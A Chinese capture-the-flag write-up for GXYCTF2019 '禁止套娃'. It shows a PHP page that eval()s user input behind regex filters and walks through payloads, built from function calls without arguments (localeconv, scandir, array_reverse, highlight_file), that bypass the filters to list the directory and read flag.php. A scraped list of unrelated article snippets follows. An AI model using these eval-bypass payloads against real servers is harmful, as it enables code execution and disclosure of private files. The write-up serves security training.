[GXYCTF2019]禁止套娃1
打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp']))
{
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{ //不允许使用php协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
{ //替换为空字符,匹配的形式是形如a();的无参数的表达式
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
{
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else
{
die("还差一点哦!");
}
}
else
{
die("再好好想想!");
}
}
else
{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
使用了正则表达式来过滤
[a-z,_]+匹配一个或多个字母、下划线或逗号
(匹配开括号
(?R)?匹配嵌套的正则表达式本身,?表示0或1次
)匹配闭括号
括号内无参数
下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取
var_dump(localeconv());
结果如下
array(18)
{
["decimal_point"]=> string(1) "."
["thousands_sep"]=> string(0) ""
["int_curr_symbol"]=> string(0) ""
["currency_symbol"]=> string(0) ""
["mon_decimal_point"]=> string(0) ""
["mon_thousands_sep"]=> string(0) ""
["positive_sign"]=> string(0) ""
["negative_sign"]=> string(0) ""
["int_frac_digits"]=> int(127)
["frac_digits"]=> int(127)
["p_cs_precedes"]=> int(127)
["p_sep_by_space"]=> int(127)
["n_cs_precedes"]=> int(127)
["n_sep_by_space"]=> int(127)
"p_sign_posn"]=> int(127)
["n_sign_posn"]=> int(127)
["grouping"]=> array(0) { }
["mon_grouping"]=> array(0) { }
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个
?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"
之后使用highlight_file()显示文件的内容来得到flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
相关文章:
[GXYCTF2019]禁止套娃1
打开题目 进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在 <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET[exp])) { if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\…...
人工智能时代,数字化工厂如何改革?提升竞争力?
在人工智能时代,数字化工厂通过数据驱动的决策、智能制造、柔性生产、物联网整合以及人机协作,实现生产效率和产品质量的全面提升,并不断创新以保持竞争力。 --题记 在人工智能时代,数字化工厂的改革…...
气膜建筑的抗风与防火性能:保障仓储的安全—轻空间
气膜建筑以其独特的结构和材料优势,为仓储设施提供了可靠的安全保障。在应对自然灾害特别是强风和火灾时,气膜建筑展示了优异的抗风和防火性能。轻空间将详细探讨这些性能及其在实际应用中的表现。 气膜建筑的抗风能力源于其特殊的结构设计和高性能材料。…...
【秋招笔试】2024-08-07-YT游戏(研发岗)-三语言题解(CPP/Python/Java)
🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 本次的题目比较典,…...
【Python知识】m.inplace = inplace 《==》是否执行原地操作
# 如果激活层模块有 inplace 属性,则设置该属性 if hasattr(m, inplace): m.inplace inplace inplace 属性是什么? 在 PyTorch 中,inplace 属性是一个布尔值,用于指示某个操作是否可以以原地(in-place)模式…...
Go语言fmt包中print相关方法
Go语言的fmt包提供了多种打印相关的函数,主要用于在控制台或其他输出目标上格式化并输出数据。下面是一些常用的print相关方法的用途和区别: 1.fmt.Print() 功能: fmt.Print() 将参数的内容按默认格式输出到标准输出(通常是控制台ÿ…...
图片转为pdf怎么弄?亲测有效的8个pdf转换方法安利
图片转PDF怎么弄?在日常的办公生活中,我们经常会需要处理一些文档格式转换难题,图片转成PDF格式就是其中一个,图片转换成PDF格式的话,方便我们传输分享,毕竟现在PDF格式凭借着自身的稳定性和可移植性已经成…...
贪吃蛇(使用QT)
贪吃蛇小游戏 一.项目介绍**[贪吃蛇项目地址](https://gitee.com/strandingzy/QT/tree/zyy/snake)**界面一:游戏大厅界面二:关卡选择界面界面三:游戏界面 二.项目实现2.1 游戏大厅2.2关卡选择界面2.3 游戏房间2.3.1 封装贪吃蛇数据结构2.3.2 …...
【案例40】Apache中mod_proxy模块的使用
NC中间件 应用场景:配置了apache的情况,包括uap集群,配置https等场景下均适用;如果是单机(NC单结点情况不存在问题,则不用配置这项; was环境也不用配置此项。) 解决方案:按如下两…...
简单安装Android Studio并使用
在Windows上安装Android Studio的步骤如下: ### 1. 检查系统要求 确保你的计算机符合Android Studio的系统要求,通常包括: - Windows 8/10/11 - 64位处理器 - 最少4 GB RAM(推荐8 GB) - 最少2 GB可用硬盘空间ÿ…...
在Python中,模块(Module)和包(Package)
在Python中,模块(Module)和包(Package)是组织代码、提高代码复用性、促进代码维护的两种重要机制。它们各自扮演着不同的角色,但又紧密相连,共同构成了Python程序架构的基础。以下将详细阐述Pyt…...
Node版本管理工具
一、nvm 安装 二、常用命令 nvm v //查看nvm 版本号nvm install latest // 下载最新的 node 版本 nvm install 版本号 //安装node对应的版本nvm uninstall 版本号 //卸载对应的版本nvm list // 查看下载的所有版本的nodenvm use 版本号 // 只有引入了才能使用…...
创建并发布NPM模块
创建模块项目 $ mkdir my-npm-package $ cd my-npm-package $ npm init添加模块代码 创建新文件 index.js,内容如下 function helloworld() {console.log(Hello World!); }module.exports helloworld;测试模块 在模块目录(my-npm-package࿰…...
20240807软考架构-------软考31-35答案解析
每日打卡题31-35答案 31、【2015年真题】 难度:一般 对于遗留系统的评价框架如下图所示,那么处于“高水平、低价值”区的遗留系统适合于采用的演化策略为 ( )。 A.淘汰B.继承C.改造D.集成 答案…...
简单实现二叉树(链表实现)
接着上一节。我们接着学习二叉树,学习使用链表建立二叉树时,最好把每个子程序的递归展开图,都画一下 前言 在学习二叉树的基本结构前,需先要创建一颗二叉树,然后才能学习其相关的基本操作,由于现在大家二…...
搭建 Web 群集Haproxy
案例概述 Haproxy 是目前比较流行的一种群集调度工具,同类群集调度工具有很多,如 LVS 和Nginx。相比较而言,LVS 性能最好,但是搭建相对复杂;Nginx 的upstream模块支持群集功能,但是对群集节点健康检查功能不强…...
PDF隐写思路
文章目录 使用工具技术细节小结 使用工具 工具:WPS、010Editor、WbStego 技术细节 步骤: 使用 WPS 查看文件,看是否能打开。 若不能打开则使用 010Editor 查看是否少了头文件等。 正常的 PDF 缺少头文件的 PDF 如果缺少头文件则使用 010…...
Pycharm 常用快捷键
快捷键作用描述Ctrl Space基本的代码自动完成Ctrl Shift Space选择代码自动完成Ctrl D复制当前行或符号Ctrl X剪切当前行或符号Ctrl C复制当前行或符号Ctrl V粘贴剪贴板内容Ctrl Y删除当前行Ctrl A全选当前文件内容Ctrl Z撤销操作Ctrl Shift Z重做操作Ctrl F查找文…...
android音频录音,(一)MediaRecorder简介
1.MediaRecorder概述 Android 多媒体框架支持捕获和编码各种常见的音频和视频格式,简要介绍音频录音。 2.MediaRecorder 源码路径:frameworks/base/media/java/android/media/MediaRecorder.java 源码接口: setAudioSource(MediaRecorde…...
autoX.js
一. 概述 AutoX.js 使用 JavaScript 作为脚本语言,目前使用 Rhino 1.7.13 作为脚本引擎,支持 ES5 与部分 ES6 特性。 下载地址: https://github.com/kkevsekk1/AutoX/releases 官方文档: AutoX.js 二. 用法 1. 首先在官网下…...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
spring:实例工厂方法获取bean
spring处理使用静态工厂方法获取bean实例,也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下: 定义实例工厂类(Java代码),定义实例工厂(xml),定义调用实例工厂ÿ…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
